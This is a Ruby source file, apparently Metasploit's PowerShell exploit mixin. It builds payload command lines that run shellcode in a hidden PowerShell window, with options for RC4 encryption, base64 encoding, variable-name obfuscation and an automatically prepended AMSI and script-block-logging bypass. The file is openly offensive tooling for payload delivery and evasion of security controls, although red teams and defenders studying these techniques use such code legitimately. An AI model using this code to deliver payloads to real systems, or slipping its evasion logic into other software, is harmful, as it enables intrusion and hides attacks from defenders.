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# -*- coding: binary -*-
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require 'rex/powershell'
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module Msf
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module Exploit::Powershell
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  def initialize(info = {})
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    super
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    register_advanced_options(
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      [
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        OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
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        OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
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        OptEnum.new('Powershell::prepend_protections_bypass', [true, 'Prepend AMSI/SBL bypass', 'auto', %w[ auto true false ]]),
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        OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
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        OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
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        OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', true]),
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        OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
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        OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]),
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        OptBool.new('Powershell::exec_rc4', [true, 'Encrypt PSH with RC4', false]),
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        OptBool.new('Powershell::remove_comspec', [true, 'Produce script calling powershell directly', false]),
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        OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]),
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        OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
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        OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),
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        OptBool.new('Powershell::wrap_double_quotes', [true, 'Wraps the -Command argument in single quotes', true]),
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        OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]),
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        OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]])
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      ]
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    )
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  end
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  #
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  # Return a script from path or string
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  #
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  def read_script(script_path)
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    Rex::Powershell::Script.new(script_path)
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  end
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  #
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  # Return an array of substitutions for use in make_subs
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  #
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  def process_subs(subs)
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    return [] if subs.nil? || subs.empty?
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    new_subs = []
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    subs.split(';').each do |set|
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      new_subs << set.split(',', 2)
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    end
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    new_subs
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  end
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  #
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  # Insert substitutions into the powershell script
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  # If script is a path to a file then read the file
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  # otherwise treat it as the contents of a file
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  #
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  def make_subs(script, subs)
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    subs.each do |set|
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      script.gsub!(set[0], set[1])
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    end
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    script
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  end
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  #
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  # Return an encoded powershell script
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  # Will invoke PSH modifiers as enabled
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  #
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  # @param script_in [String] Script contents
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  #
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  # @return [String] Encoded script
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  def encode_script(script_in, eof = nil)
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    opts = {}
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    datastore.keys.select { |k| k =~ /^Powershell::(strip|sub)/i }.each do |k|
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      next unless datastore[k]
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      mod_method = k.split('::').last.intern
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      opts[mod_method.to_sym] = true
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    end
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    Rex::Powershell::Command.encode_script(script_in, eof, opts)
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  end
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  #
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  # Return an decoded powershell script
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  #
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  # @param script_in [String] Encoded contents
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  #
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  # @return [String] Decoded script
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  def decode_script(script_in)
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    return script_in unless
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      script_in.to_s.match(%r{[A-Za-z0-9+/]+={0,3}})[0] == script_in.to_s &&
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      (script_in.to_s.length % 4).zero?
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    Rex::Powershell::Command.decode_script(script_in)
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  end
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  #
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  # Return a gzip compressed powershell script
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  # Will invoke PSH modifiers as enabled
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  #
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  # @param script_in [String] Script contents
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  # @param eof [String] Marker to indicate the end of file appended to script
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  #
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  # @return [String] Compressed script with decompression stub
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  def compress_script(script_in, eof = nil)
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    opts = {}
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    datastore.keys.select { |k| k =~ /^Powershell::(strip|sub)/i }.each do |k|
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      next unless datastore[k]
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      mod_method = k.split('::').last.intern
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      opts[mod_method.to_sym] = true
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    end
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    Rex::Powershell::Command.compress_script(script_in, eof, opts)
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  end
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  #
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  # Return a decompressed powershell script
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  #
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  # @param script_in [String] Compressed contents with decompression stub
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  #
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  # @return [String] Decompressed script
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  def decompress_script(script_in)
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    return script_in unless script_in.match?(/FromBase64String/)
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    Rex::Powershell::Command.decompress_script(script_in)
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  end
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  #
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  # Generate a powershell command line, options are passed on to
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  # generate_psh_args
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  #
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  # @param opts [Hash] The options to generate the command line
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  # @option opts [String] :path Path to the powershell binary
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  # @option opts [Boolean] :no_full_stop Whether powershell binary
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  #   should include .exe
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  #
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  # @return [String] Powershell command line with arguments
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  def generate_psh_command_line(opts)
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    Rex::Powershell::Command.generate_psh_command_line(opts)
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  end
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  #
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  # Generate arguments for the powershell command
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  # The format will be have no space at the start and have a space
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  # afterwards e.g. "-Arg1 x -Arg -Arg x "
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  #
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  # @param opts [Hash] The options to generate the command line
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  # @option opts [Boolean] :shorten Whether to shorten the powershell
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  #   arguments (v2.0 or greater)
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  # @option opts [String] :encodedcommand Powershell script as an
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  #   encoded command (-EncodedCommand)
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  # @option opts [String] :executionpolicy The execution policy
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  #   (-ExecutionPolicy)
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  # @option opts [String] :inputformat The input format (-InputFormat)
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  # @option opts [String] :file The path to a powershell file (-File)
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  # @option opts [Boolean] :noexit Whether to exit powershell after
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  #   execution (-NoExit)
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  # @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
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  # @option opts [Boolean] :noninteractive Whether to load a non
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  #   interactive powershell (-NonInteractive)
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  # @option opts [Boolean] :mta Whether to run as Multi-Threaded
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  #   Apartment (-Mta)
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  # @option opts [String] :outputformat The output format
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  #   (-OutputFormat)
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  # @option opts [Boolean] :sta Whether to run as Single-Threaded
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  #   Apartment (-Sta)
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  # @option opts [Boolean] :noprofile Whether to use the current users
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  #   powershell profile (-NoProfile)
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  # @option opts [String] :windowstyle The window style to use
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  #   (-WindowStyle)
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  #
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  # @return [String] Powershell command arguments
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  def generate_psh_args(opts)
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    return '' unless opts
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    unless opts.key? :shorten
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      opts[:shorten] = (datastore['Powershell::method'] != 'old')
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    end
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    Rex::Powershell::Command.generate_psh_args(opts)
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  end
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  #
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  # Wraps the powershell code to launch a hidden window and
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  # detect the execution environment and spawn the appropriate
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  # powershell executable for the payload architecture.
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  #
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  # @param ps_code [String] Powershell code
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  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
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  # @param encoded [Boolean] Indicates whether ps_code is encoded or not
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  # @return [String] Wrapped powershell code
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  def run_hidden_psh(ps_code, payload_arch, encoded)
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    arg_opts = {
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      noprofile: true,
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      windowstyle: 'hidden'
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    }
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    # Old technique fails if powershell exits..
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    arg_opts[:noexit] = (datastore['Powershell::method'] == 'old')
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    arg_opts[:shorten] = (datastore['Powershell::method'] != 'old')
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    Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts)
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  end
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  #
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  # Creates a powershell command line string which will execute the
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  # payload in a hidden window in the appropriate execution environment
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  # for the payload architecture. Opts are passed through to
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  # run_hidden_psh, generate_psh_command_line and generate_psh_args
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  #
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  # @param pay [String] The payload shellcode
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  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
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  # @param opts [Hash] The options to generate the command
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  # @option opts [Boolean] :persist Loop the payload to cause
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  #   re-execution if the shellcode finishes
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  # @option opts [Integer] :prepend_sleep Sleep for the specified time
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  #   before executing the payload
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  # @option opts [Boolean] :exec_rc4 Encrypt payload with RC4
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  # @option opts [String] :method The powershell injection technique to
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  #   use: 'net'/'reflection'/'old'
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  # @option opts [Boolean] :encode_inner_payload Encodes the powershell
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  #   script within the hidden/architecture detection wrapper
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  # @option opts [Boolean] :encode_final_payload Encodes the final
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  #   powershell script
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  # @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
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  #   environment variable at the start of the command line
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  # @option opts [Boolean] :wrap_double_quotes Wraps the -Command
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  #   argument in double quotes unless :encode_final_payload
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  #
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  # @return [String] Powershell command line with payload
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  def cmd_psh_payload(pay, payload_arch, opts = {})
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    %i[persist prepend_sleep exec_in_place exec_rc4 encode_final_payload encode_inner_payload
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    remove_comspec noninteractive wrap_double_quotes no_equals method prepend_protections_bypass].map do |opt|
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      opts[opt] = datastore["Powershell::#{opt}"] if opts[opt].nil?
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    end
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    prepend_protections_bypass = opts.delete(:prepend_protections_bypass)
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    if %w[ auto true ].include?(prepend_protections_bypass)
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      opts[:prepend] = bypass_powershell_protections
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    end
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    unless opts.key? :shorten
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      opts[:shorten] = (datastore['Powershell::method'] != 'old')
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    end
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    template_path = Rex::Powershell::Templates::TEMPLATE_DIR
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    begin
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      command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts)
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    rescue Rex::Powershell::Exceptions::PowershellCommandLengthError => e
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      raise unless prepend_protections_bypass == 'auto'
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      # if prepend protections bypass is automatic, try it first but if the size is too large, turn it off and try again
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      opts.delete(:prepend)
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      command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts)
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    end
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    vprint_status("Powershell command length: #{command.length}")
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    command
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  end
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  #
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  # Return all bypasses checking if PowerShell version > 3
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  #
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  # @return [String] PowerShell code to disable PowerShell Built-In Protections
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  def bypass_powershell_protections
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    # generate the protections bypass in three short steps
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    # step 1: shuffle the instructions by rendering the GraphML
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    script = Rex::Payloads::Shuffle.from_graphml_file(
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      File.join(Msf::Config.install_root, 'data', 'evasion', 'windows', 'bypass_powershell_protections.erb.graphml'),
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    )
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    # step 2: obfuscate sketchy string literals by rendering the ERB template
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    script = ::ERB.new(script).result(binding)
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    # step 3: obfuscate variable names and remove whitespace
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    script = Rex::Powershell::Script.new(script)
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    script.sub_vars if datastore['Powershell::sub_vars']
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    Rex::Powershell::PshMethods.uglify_ps(script.to_s)
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  end
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  #
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  # Useful method cache
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  #
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  module PshMethods
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    include Rex::Powershell::PshMethods
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  end
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end
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end
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